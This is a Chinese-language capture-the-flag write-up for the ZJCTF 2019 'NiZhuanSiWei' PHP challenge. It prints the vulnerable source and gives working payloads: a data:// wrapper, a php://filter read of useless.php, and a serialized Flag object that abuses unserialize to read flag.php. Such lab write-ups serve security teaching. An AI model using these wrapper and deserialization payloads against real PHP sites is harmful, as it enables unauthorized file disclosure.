zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    题目源码如下

     <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 

    源码分析

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

    需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤, 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf "   也可以用data伪协议传参

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

    接着看到

    if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
     

    直接正则过滤掉flag关键字,提示一个useless.php 用php://filter协议来读取

    结合题目构造payload

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

    base64解码获得useless.php源码

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  

    根据源代码在本地获得序列化结果

    <?php  
    class Flag{
        public $file='flag.php';  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    } 
    $password=new Flag();
    $password = serialize($password);
    echo $password; 
    ?>  

    结果为

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

    最终的payload为

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    flag在F12源代码里面

    
    
    
  • 相关阅读:
    计算机程序的构造和解释 1.21 寻找素数因子
    迭代法对数计算B的N次方 SICP 计算机程序的构造和解释 1.16
    斐波那契算法的对数解法 计算机程序的构造和解释 习题1.19
    MS SQL SERVER数据库简单回顾
    SICP~计算机程序的构造和解释~ 1.12 c++实现
    论5级流水32bit risc cpu设计
    mdk编译器起到的boot作用详解
    处理器boot的简单概念及误区
    搬砖两年感受
    操作系统方面的两本好书
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12255777.html
Copyright © 2011-2022 走看看